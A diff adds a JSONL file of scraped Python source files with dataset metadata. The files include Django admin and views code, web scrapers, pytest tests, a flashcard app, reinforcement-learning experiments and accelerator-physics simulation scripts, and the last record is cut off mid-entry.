diff --git "a/1208.jsonl" "b/1208.jsonl" new file mode 100644--- /dev/null +++ "b/1208.jsonl" @@ -0,0 +1,479 @@ +{"seq_id": "646663739", "text": "from requests.models import RequestLog\nfrom django.contrib import admin\n\n\ndef priority_up(modeladmin, request, queryset):\n for obj in queryset:\n obj.priority = obj.priority + 1\n obj.save()\n\n\ndef priority_down(modeladmin, request, queryset):\n for obj in queryset:\n obj.priority = obj.priority - 1\n obj.save()\n\n\ndef priority_1(modeladmin, request, queryset):\n for obj in queryset:\n obj.priority = 1\n obj.save()\n\n\nclass RequestLogAdmin(admin.ModelAdmin):\n list_display = (\n 'priority',\n 'time',\n 'request_method',\n 'path_info',\n 'query_string',\n 'content_type'\n )\n list_filter = ('priority', 'time', 'request_method',)\n date_hierarchy = 'time'\n ordering = ('-priority', '-time',)\n actions = [priority_up, priority_down, priority_1]\n readonly_fields = (\n 'time',\n 'request_method',\n 'path_info',\n 'query_string',\n 'content_type'\n )\n\n class Media:\n js = (\"admin_priority.js\",)\n\nadmin.site.register(RequestLog, RequestLogAdmin)\n", "sub_path": "requests/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 1084, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 23, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 47, "usage_type": "call"}, {"api_name": "requests.models.RequestLog", "line_number": 47, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 47, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 47, "usage_type": "name"}]} +{"seq_id": "442235117", "text": "import numpy\nimport requests\nfrom bs4 import BeautifulSoup\nfrom tqdm import tqdm\n\ndef load_dataset():\n tokens = list(numpy.load(\"tokens.npy\", allow_pickle=True))\n return tokens[0], tokens[1]\n\ndef search_habr(token):\n baseurl = \"https://habr.com\"\n req = \"https://habr.com/en/search/?q=\" + token + \"&target_type=posts\"\n headers = {\n \"User-Agent\": \"Mozilla/5.0 \\\n (Macintosh; Intel Mac OS X 10_10_1) \\\n AppleWebKit/537.36 (KHTML, like Gecko) \\\n Chrome/39.0.2171.95 Safari/537.36\"\n }\n body = requests.get(req, headers=headers)\n soup = BeautifulSoup(body.content, \"html.parser\")\n if soup.find(\"div\", \"tm-empty-placeholder\") is not None:\n return []\n articles = soup.find_all(\"article\", \"tm-articles-list__item\")\n if articles in [None, []] :\n return []\n\n links = []\n for a in range(min(len(articles), 5)):\n header = articles[a].find(\"a\", \"tm-article-snippet__title-link\")\n if header.get(\"href\", None) is not None:\n links.append(baseurl + header[\"href\"])\n\n return links\n\ndef main():\n tokens, tokens_clear = load_dataset()\n tokens_clear = tokens\n print(\"[*] debug: TODO clean tokens\")\n while True:\n cmd = input(\"Type in the number of a vacancy [0-\"+str(len(tokens)) + \"]: \")\n if not cmd.strip().isdigit():\n break\n num = int(cmd.strip())\n print(\"Found tokens:\", tokens[num])\n print(\"Popular tokens:\", tokens_clear[num])\n res = {}\n for tk in tokens_clear[num]:\n res[tk] = search_habr(tk)\n for i in res:\n print(i, res[i], sep=\": \")\n\n\nif __name__ == \"__main__\":\n main()\n\n", "sub_path": "search_terms.py", "file_name": "search_terms.py", "file_ext": "py", "file_size_in_byte": 1683, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.load", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "373315741", "text": "from home1 import Stack\nfrom home1 import LimitExceedError\nfrom home1 import EmptyStackError\nimport pytest\n\nclass TestClass(object):\n \"\"\"\n Testing class for homework1. To run all tests with pytest,\n run the following command in current path:\n $ pytest\n \"\"\"\n def test_init_empty(self):\n s = Stack()\n assert s.limit is None\n assert s.type is object\n\n def test_init_set(self):\n s = Stack(data_type=float, limit=10)\n assert s.limit == 10\n assert s.type is float\n\n def test__push_limit_error(self):\n s = Stack(data_type=int, limit=0)\n with pytest.raises(LimitExceedError):\n s._push(2)\n\n def test__push_type_error(self):\n s = Stack(data_type=int, limit=2)\n with pytest.raises(TypeError):\n s._push(2.1)\n\n def test_push_ok(self):\n s = Stack(data_type=str, limit=10)\n s.push('Vova')\n assert s.pull() == 'Vova'\n\n def test_pull_ok(self):\n s = Stack(data_type=int, limit=5)\n s.push(1)\n s.push(2)\n assert s.pull() == 2\n\n def test_pull_error(self):\n s = Stack(data_type=int, limit=10)\n s.push(1)\n s.pull()\n with pytest.raises(EmptyStackError):\n s.pull()\n\n def test_count(self):\n s = Stack(data_type=str, limit=5)\n s.push('a')\n s.push('b')\n s.push('c')\n assert s.count() == 3\n\n def test_clear(self):\n s = Stack(data_type=str, limit=5)\n s.push('a')\n s.push('b')\n s.push('c')\n s.clear()\n assert s.count() == 0\n\n def test_type(self):\n s = Stack(data_type=bool)\n assert s.type is bool\n\n def test_str(self):\n s = Stack()\n assert s.__str__() == 'Stack'\n", "sub_path": "test_home1.py", "file_name": "test_home1.py", "file_ext": "py", "file_size_in_byte": 1773, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "home1.Stack", "line_number": 13, "usage_type": "call"}, {"api_name": "home1.Stack", "line_number": 18, "usage_type": "call"}, {"api_name": "home1.Stack", "line_number": 23, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 24, "usage_type": "call"}, {"api_name": "home1.LimitExceedError", "line_number": 24, "usage_type": "argument"}, {"api_name": "home1.Stack", "line_number": 28, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 29, "usage_type": "call"}, {"api_name": "home1.Stack", "line_number": 33, "usage_type": "call"}, {"api_name": "home1.Stack", "line_number": 38, "usage_type": "call"}, {"api_name": "home1.Stack", "line_number": 44, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 47, "usage_type": "call"}, {"api_name": "home1.EmptyStackError", "line_number": 47, "usage_type": "argument"}, {"api_name": "home1.Stack", "line_number": 51, "usage_type": "call"}, {"api_name": "home1.Stack", "line_number": 58, "usage_type": "call"}, {"api_name": "home1.Stack", "line_number": 66, "usage_type": "call"}, {"api_name": "home1.Stack", "line_number": 70, "usage_type": "call"}]} +{"seq_id": "481729146", "text": "import numpy as np\nimport gym\n\nclass Gaussian(gym.Space):\n \"\"\"\n A Gaussian space randomizes an action as a datapoint\n using a location and a covariance.\n \n This is actually a multivariate normal distribution (MVN),\n but with non-correlated variables \n (the covariance matrix is diagonal and positive)\n \n A sample usage:\n self.action_space = Gaussian(location = [-1,2], diagonal_cov = [1,1])\n \"\"\"\n def __init__(self, location, diagonal_cov, n_objects = 2, shape=None):\n \"\"\"\n Two kinds of valid inputs\n \n - location and diagonal_cov are scalar -> Gaussian distribution\n - location and diagonal_cov are np array of same size\n \"\"\"\n self.n_objects = n_objects\n \n if np.isscalar(location) and np.isscalar(diagonal_cov):\n \"\"\"Gaussian distribution\"\"\"\n self.location = np.array([location])\n self.diagonal_cov = np.array([diagonal_cov])\n self.shape = (1,)\n elif isinstance(location, list) and isinstance(diagonal_cov, list):\n assert len(location) == len(diagonal_cov)\n \n self.location = np.array(location)\n self.diagonal_cov = np.diag(diagonal_cov)\n \n self.shape = self.location.shape\n else:\n assert isinstance(location, np.ndarray)\n assert isinstance(diagonal_cov, np.ndarray)\n assert location.shape == diagonal_cov.shape\n \n self.shape = location.shape\n \n self.location = np.flatten(location)\n self.diagonal_cov = np.diag(np.flatten(diagonal_cov))\n \n def sample(self, object_index = None):\n \"\"\"\n sample an action to take:\n \n if object_index == None:\n sample both object_index and location of final point\n else:\n sample jus the location of final point\n \"\"\"\n s = np.random.multivariate_normal(self.location, self.diagonal_cov)\n \n # Reshape to original \n s.shape = self.shape\n \n if object_index:\n return (object_index, s)\n else:\n object_index = np.random.choice(self.n_objects)\n return (object_index, s)\n \n def __repr__(self):\n return \"MVN (location= \" + str(self.location) + \"; variances = \" + str(self.diagonal_cov) +\")\"\n \n def __eq__(self, other):\n return np.allclose(self.location, other.location) and \\\n np.allclose(self.diagonal_cov, other.diagonal_cov)", "sub_path": "rl/gaussian_env_space.py", "file_name": "gaussian_env_space.py", "file_ext": "py", "file_size_in_byte": 2563, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "gym.Space", "line_number": 4, "usage_type": "attribute"}, {"api_name": "numpy.isscalar", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.flatten", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.flatten", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 56, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.allclose", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 72, "usage_type": "call"}]} +{"seq_id": "123173450", "text": "\"\"\"\nStatistics from tweets\nAuthor: Thyago Mota (Moravian College)\nDate: 12/05/16\n\"\"\"\n\nfrom pymongo import MongoClient\nfrom config import mongo\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\n\n\"\"\"MongoDB connection\"\"\"\nserver = mongo['server']\nport = mongo['port']\nclient = MongoClient('mongodb://' + server + ':' + str(port))\ndb = client.polprt2\nprint('DB connection successful', flush = True)\n\n\"\"\"Query\"\"\"\ncurrent = None\nX = []\nx = 1\nX_ticks = []\nY = []\nfor tweet in db.tweets.find():\n created_at = datetime.strptime(tweet['created_at'], '%a %b %d %H:%M:%S %z %Y').date()\n if current == None:\n current = created_at\n total = 1\n elif current == created_at:\n total += 1\n else:\n print(current, total)\n X.append(x)\n x += 1\n X_ticks.append(str(current)[5:])\n Y.append(total)\n current = created_at\n total = 1\nprint(current, total)\nX.append(x)\nX_ticks.append(str(current)[5:])\nY.append(total)\n\n\"\"\"Closing the connection\"\"\"\nclient.close()\n\n\"\"\"Plot\"\"\"\nplt.plot(X, Y)\nplt.xticks(X, X_ticks, rotation = 'vertical')\n#plt.xlabel('Month - Day')\nplt.ylabel('# Tweets')\nplt.grid(True)\nplt.show()\n", "sub_path": "src/tweet_stats.py", "file_name": "tweet_stats.py", "file_ext": "py", "file_size_in_byte": 1175, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "config.mongo", "line_number": 13, "usage_type": "name"}, {"api_name": "config.mongo", "line_number": 14, "usage_type": "name"}, {"api_name": "pymongo.MongoClient", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}]} +{"seq_id": "573669250", "text": "#! /usr/bin/env python\n# coding: utf-8\n\n# RPi PINOUTS\n# MOSI -> GPIO10\n# MISO -> GPIO9\n# SCK -> GPIO11\n# CE1 -> GPIO7\n# CE1 -> GPIO8\n\n# get the GPIO Library and SPI Library\n#import RPi.GPIO as GPIO\nimport spidev\nimport time\n\n#Initialze the SPI\nspi = spidev.SpiDev()\n#spi.open(0,0)\n\ndef spiRead (aa):\n # spi.open(0,0)\n spiValue = spi.xfer2([8])\n time.sleep(0.05)\n # spi.close()\n print(spiValue)\n return spiValue\n\n\n\nwhile True:\n spi.open(0,0)\n resp = spi.xfer([0x30,0X0A])\n# spi.close()\n# resp1 = spiRead(1)\n resp = spiRead(0)\n print (\"Input Responce = {}\".format(resp))\n spi.close()\n time.sleep(0.5)\n\n spi.open(0,0)\n# spi.open(0,0)\n resp = spi.xfer([0x31,0X0A])\n# spi.close()\n\n# resp1 = spiRead(1)\n resp = readbytes(1)\n print (\"Input = {}\".format(resp))\n spi.close()\n time.sleep(0.5)\n\n\n\n\n\n#End of the Script\n", "sub_path": "spi_skript/spiCommunication2.py", "file_name": "spiCommunication2.py", "file_ext": "py", "file_size_in_byte": 871, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "spidev.SpiDev", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "570646905", "text": "from sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String\nfrom sqlalchemy.orm import sessionmaker\n\nengine = create_engine('sqlite:///flashcard.db?check_same_thread=False')\nBase = declarative_base()\ncorrect_answers = dict()\n\n\nclass FlashCards(Base):\n __tablename__ = 'flashcard'\n\n id = Column(Integer, primary_key=True)\n answer = Column(String)\n question = Column(String)\n\n\nBase.metadata.create_all(engine)\nSession = sessionmaker(bind=engine)\nsession = Session()\n\n\ndef main_menu():\n while True:\n print('1. Add flashcards', '2. Practice flashcards', '3. Exit', sep='\\n')\n user_inp = input()\n\n if user_inp == '1':\n add_menu()\n\n elif user_inp == '2':\n if len(session.query(FlashCards).all()) == 0:\n print('\\nThere is no flashcard to practice!\\n')\n\n else:\n practice_menu()\n\n elif user_inp == '3':\n print('\\nBye!')\n exit()\n\n else:\n print(f'\\n{user_inp} is not an option\\n')\n\n\ndef add_menu():\n while True:\n print('\\n1. Add a new flashcard\\n2. Exit')\n add_input = input()\n print()\n\n if add_input == '1':\n while True:\n question = input('Question:\\n')\n if question:\n break\n\n while True:\n answer = input('Answer:\\n')\n if answer:\n break\n print()\n\n new_data = FlashCards(question=question, answer=answer)\n session.add(new_data)\n session.commit()\n\n elif add_input == '2':\n main_menu()\n\n else:\n print(f'{add_input} is not an option')\n\n\ndef practice_menu():\n result_list = session.query(FlashCards).all()\n n = 0\n flag = 0\n\n while n < len(result_list):\n if flag == 0:\n print('\\nQuestion:', result_list[n].question)\n\n print('''press \"y\" to see the answer:\npress \"n\" to skip:\npress \"u\" to update:''')\n user_ans = input()\n\n if user_ans == 'y' or user_ans == 'n':\n if result_list[n].answer not in correct_answers:\n correct_answers[result_list[n].answer] = 0\n\n if user_ans == 'y':\n print('Answer:', result_list[n].answer)\n\n while True:\n print('''press \"y\" if your answer is correct:\npress \"n\" if your answer is wrong:''')\n\n is_correct = input()\n\n if is_correct == 'y' or is_correct == 'n':\n if is_correct == 'y':\n correct_answers[result_list[n].answer] += 1\n\n if correct_answers[result_list[n].answer] == 3:\n session.delete(result_list[n])\n session.commit()\n break\n\n else:\n print(is_correct, 'is not an option')\n\n elif user_ans == 'u':\n while True:\n print('''press \"d\" to delete the flashcard:\npress \"e\" to edit the flashcard:''')\n user_choice = input()\n\n if user_choice == 'd' or user_choice == 'e':\n if user_choice == 'd':\n session.delete(result_list[n])\n\n elif user_choice == 'e':\n print('\\ncurrent question:', result_list[n].question)\n print('please write a new question:')\n q = input()\n\n if not q:\n q = result_list[n].question\n\n print('current answer:', result_list[n].answer)\n print('please write a new answer:')\n a = input()\n\n if not a:\n a = result_list[n].answer\n\n result_list[n].question = q\n result_list[n].answer = a\n\n session.commit()\n break\n\n else:\n print(user_choice, 'is not an option')\n\n else:\n print(user_ans, 'is not an option')\n flag = 1\n continue\n\n n += 1\n flag = 0\n\n print()\n main_menu()\n\n\nmain_menu()\n", "sub_path": "tool.py", "file_name": "tool.py", "file_ext": "py", "file_size_in_byte": 4342, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 6, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 7, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 14, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 15, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 16, "usage_type": "argument"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "217907610", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 16 10:04:30 2019\r\n\r\n@author: Education\r\n\"\"\"\r\n\r\nfrom selenium import webdriver\r\n\r\nurl = \"https://community.periscopedata.com/t/18bzry/test-for-normal-distribution-of-data-with-python\"\r\n\r\ndriver = webdriver.Chrome(\"C:/Users/Education/Documents/Downloads/chromedriver\")\r\n\r\ndriver.get(url)\r\n\r\nfile_data = driver.find_element_by_xpath('//*[@id=\"18bzry\"]/div/div[2]/span[1]/a') \r\n \r\nfile_data.click() \r\n", "sub_path": "file_scrapping.py", "file_name": "file_scrapping.py", "file_ext": "py", "file_size_in_byte": 449, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 12, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 12, "usage_type": "name"}]} +{"seq_id": "533981443", "text": "from collections import defaultdict\nd = defaultdict(list)\nd['a'].append(1)\nd['a'].append(2)\nd['b'].append(4)\nprint(d)\n\nd = defaultdict(set)\nd['a'].add(1)\nd['a'].add(2)\nd['b'].add(4)\nprint(d)\n\n\nfrom collections import OrderedDict\n\ndef ordered_dict():\n d = OrderedDict()\n d['foo'] = 2\n d['bar'] = 1\n d['spam'] = 3\n d['grok'] = 4\n # Outputs \"foo 1\", \"bar 2\", \"spam 3\", \"grok 4\"\n for key in d:\n print(key, d[key])\n\nordered_dict()", "sub_path": "src/1/1.py", "file_name": "1.py", "file_ext": "py", "file_size_in_byte": 453, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "collections.defaultdict", "line_number": 2, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "496489781", "text": "from django.views.defaults import (\n page_not_found, server_error, bad_request, permission_denied,\n)\nfrom django.shortcuts import render, reverse, redirect\nfrom django.http import JsonResponse, HttpResponse\nfrom django.core.mail import send_mail \nfrom django.conf import settings \nfrom django.utils import translation\nfrom box.core.sw_global_config.models import GlobalConfig\nfrom . import settings as core_settings\n\n\ndef custom_bad_request(request, exception):\n return bad_request(request, exception, template_name=core_settings.PATH_400)\n\n\ndef custom_permission_denied(request, exception):\n return permission_denied(request, exception, template_name=core_settings.PATH_403)\n\n\ndef custom_page_not_found(request, exception):\n return page_not_found(request, exception, template_name=core_settings.PATH_404)\n\n\ndef custom_server_error(request):\n return server_error(request, template_name=core_settings.PATH_500)\n\n\ndef robots(request):\n robots = GlobalConfig.get_solo().robots_txt\n if robots:\n response = HttpResponse(robots)\n else:\n response = render(request, 'core/robots.txt', locals())\n return response\nfrom django.views.i18n import set_language\nfrom django.utils.translation import get_language\n\n\nfrom django.urls import translate_url\nfrom django.utils.translation import get_language_from_request, check_for_language\n# def set_lang(request, lang=None):\ndef set_lang(request, new_lang, old_lang=None):\n # old_langg = get_language_from_request(request, check_path=True)\n # old_langg = get_language()\n default_lang = settings.LANGUAGE_CODE\n splitted = request.META['HTTP_REFERER'].split('/')\n old_lang = default_lang\n if check_for_language(splitted[3]):\n old_lang = splitted[3]\n if new_lang == old_lang and new_lang == default_lang:\n print('1')\n elif new_lang == old_lang and new_lang != default_lang:\n print('2')\n splitted[3] = new_lang\n elif new_lang != old_lang and new_lang != default_lang:\n print('3')\n print(splitted)\n if old_lang == default_lang:\n splitted.insert(3, new_lang)\n else:\n splitted[3] = new_lang\n elif new_lang != old_lang and new_lang == default_lang:\n print('4')\n del splitted[3]\n elif new_lang != old_lang and new_lang != default_lang:\n print('5')\n splitted.insert(3, new_lang)\n translation.activate(new_lang)\n request.session[translation.LANGUAGE_SESSION_KEY] = new_lang\n return redirect('/'.join(splitted))\n\n\ndef testmail(request):\n if request.POST:\n send_mail(\n subject='123123123',\n message='123123123',\n from_email=settings.DEFAULT_FROM_EMAIL,\n recipient_list=['jurgeon018@gmail.com'],\n fail_silently=False,\n )\n\n return render(request, 'core/testmail.html', locals())\n\n\n", "sub_path": "core/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2727, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.views.defaults.bad_request", "line_number": 14, "usage_type": "call"}, {"api_name": "django.views.defaults.permission_denied", "line_number": 18, "usage_type": "call"}, {"api_name": "django.views.defaults.page_not_found", "line_number": 22, "usage_type": "call"}, {"api_name": "django.views.defaults.server_error", "line_number": 26, "usage_type": "call"}, {"api_name": "box.core.sw_global_config.models.GlobalConfig.get_solo", "line_number": 30, "usage_type": "call"}, {"api_name": "box.core.sw_global_config.models.GlobalConfig", "line_number": 30, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "django.conf.settings.LANGUAGE_CODE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 46, "usage_type": "name"}, {"api_name": "django.utils.translation.check_for_language", "line_number": 49, "usage_type": "call"}, {"api_name": "django.utils.translation.activate", "line_number": 69, "usage_type": "call"}, {"api_name": "django.utils.translation", "line_number": 69, "usage_type": "name"}, {"api_name": "django.utils.translation.LANGUAGE_SESSION_KEY", "line_number": 70, "usage_type": "attribute"}, {"api_name": "django.utils.translation", "line_number": 70, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 71, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 76, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_FROM_EMAIL", "line_number": 79, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 79, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 84, "usage_type": "call"}]} +{"seq_id": "564764511", "text": "import gym\r\nfrom DirectPolicySearch import DirectPolicySearch\r\nfrom HillClimbing import hillClimbing\r\nfrom XNES import xNES\r\n\r\ndef fileWrite(fileName, ary) :\r\n\tfile = open(fileName + \".csv\", 'w')\r\n\tcount = 0\r\n\tfor r in ary :\r\n\t\tfile.write(\"{0},{1}\\n\".format(count, r))\r\n\t\tcount += 1\r\n\tfile.close()\r\n\r\ndef fileWriteArray(fileName, ary) :\r\n\tfile = open(fileName + \".csv\", 'w')\r\n\tcount = 0\r\n\tfor r in ary :\r\n\t\ts = \"{0}\".format(count)\r\n\t\tfor e in r :\r\n\t\t\ts += \",{0}\".format(e)\r\n\t\tfile.write(str(s)+\"\\n\")\r\n\t\tcount += 1\r\n\tfile.close()\r\n\r\nif __name__ == '__main__':\r\n\t#各変数の定義\r\n\tdps = DirectPolicySearch(\r\n\t\t\t\t\t\t\tnoOfEpisode = 5,\r\n\t\t\t\t\t\t\tsuccessTime = 200,\r\n\t\t\t\t\t\t\tenviroment = gym.make('CartPole-v0'),\r\n\t\t\t\t\t\t\trendering = False\r\n\t\t\t\t\t\t\t)\r\n\r\n\t#パラメータを学習\r\n\t#success, param = hillClimbing(dps)\r\n\t#log = xNES(dps)\r\n\r\n\t#trialName = \"hillClimb_1\"\r\n\ttrialName = \"xNES_1\"\r\n\r\n\tsuccessCount = 0\r\n\tsucceed = False\r\n\tfailed = False\r\n\tfor i in range(100) :\r\n\t\tlog = xNES(dps)\r\n\t\t#log = hillClimbing(dps)\r\n\t\tif log.success :\r\n\t\t\tsuccessCount += 1\r\n\t\t\tif not succeed :\r\n\t\t\t\tfileWrite(\"data/\" + trialName + \"_reward_success\", log.rewardList)\r\n\t\t\t\tfileWriteArray(\"data/\" + trialName + \"_param_success\", log.paramList)\r\n\t\t\t\tsucceed = True\r\n\t\telif not failed :\r\n\t\t\t\tfileWrite(\"data/\" + trialName + \"_reward_failure\", log.rewardList)\r\n\t\t\t\tfileWriteArray(\"data/\" + trialName + \"_param_failure\", log.paramList)\r\n\t\t\t\tsucceed = True\r\n\r\n\t\tprint(\"{0}回目 {1} : {2}世代で終了\".format(i, log.success, len(log.paramList)))\r\n\r\n\tprint(\"成功率 : {0}%\".format(successCount))\r\n\r\n\t#dps.episodeExample(log.tailParam())\r\n", "sub_path": "CartPole-v0/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1614, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "DirectPolicySearch.DirectPolicySearch", "line_number": 27, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 30, "usage_type": "call"}, {"api_name": "XNES.xNES", "line_number": 45, "usage_type": "call"}]} +{"seq_id": "629379313", "text": "import sys\nsys.path.append('../../../../')\n\nfrom scipy.constants import c as clight, e as qe\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport PyECLOUD.PyEC4PyHT as PyEC4PyHT\nfrom PyHEADTAIL.particles.slicing import UniformBinSlicer\nimport PyECLOUD.mystyle as ms\n\nfrom LHC_custom import LHC\n\n\nmachine_configuration = 'HLLHC-injection'\nmachine = LHC(n_segments=1, machine_configuration=machine_configuration)\n\nbunch = machine.generate_6D_Gaussian_bunch(n_macroparticles=300000,\n intensity=1.15e11, epsn_x=2.5e-6, epsn_y=2.5e-6, sigma_z=0.11)\n\nbunch.x[bunch.z < 5e-2] += 1e-3\n\n\necloud_ele = PyEC4PyHT.Ecloud(slice_by_slice_mode=True,\n L_ecloud=1., slicer=None,\n Dt_ref=25e-12, pyecl_input_folder='pyecloud_config',\n )\n\n\nn_slices = 150\nz_cut = 2.5e-9 / 2 * clight\n\nslicer = UniformBinSlicer(n_slices=n_slices, z_cuts=(-z_cut, z_cut))\nslices_list_for_map = bunch.extract_slices(slicer)\n\necloud_ele.save_ele_distributions_last_track = True\necloud_ele.save_ele_field = True\necloud_ele._reinitialize()\n\n\nz_centers = []\n# sim bunch-ecloud interaction\nfor ss in slices_list_for_map[::-1]:\n z_centers.append(ss.slice_info['z_bin_center'])\n ecloud_ele.track(ss)\n\necloud_ele._finalize()\n\n\nplt.close('all')\nms.mystyle_arial(fontsz=14, dist_tick_lab=5)\n\nplt.figure(4)\ny_beam_offset = 0.\nvmax = 3e12\ni_y = np.argmin(np.abs(ecloud_ele.spacech_ele.yg - y_beam_offset))\nplt.pcolormesh(np.array(z_centers), ecloud_ele.spacech_ele.xg, -1 / qe * ecloud_ele.rho_ele_last_track[:, :, i_y].T, vmax=vmax,\n shading='Gouraud'\n )\nplt.ylim(-4e-3, 4e-3)\nplt.colorbar()\nplt.show()\n", "sub_path": "other/response_to_beam_distorsion/single_bunch/000_response.py", "file_name": "000_response.py", "file_ext": "py", "file_size_in_byte": 1688, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "LHC_custom.LHC", "line_number": 16, "usage_type": "call"}, {"api_name": "PyECLOUD.PyEC4PyHT.Ecloud", "line_number": 24, "usage_type": "call"}, {"api_name": "PyECLOUD.PyEC4PyHT", "line_number": 24, "usage_type": "name"}, {"api_name": "scipy.constants.c", "line_number": 31, "usage_type": "name"}, {"api_name": "PyHEADTAIL.particles.slicing.UniformBinSlicer", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "PyECLOUD.mystyle.mystyle_arial", "line_number": 51, "usage_type": "call"}, {"api_name": "PyECLOUD.mystyle", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "numpy.argmin", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 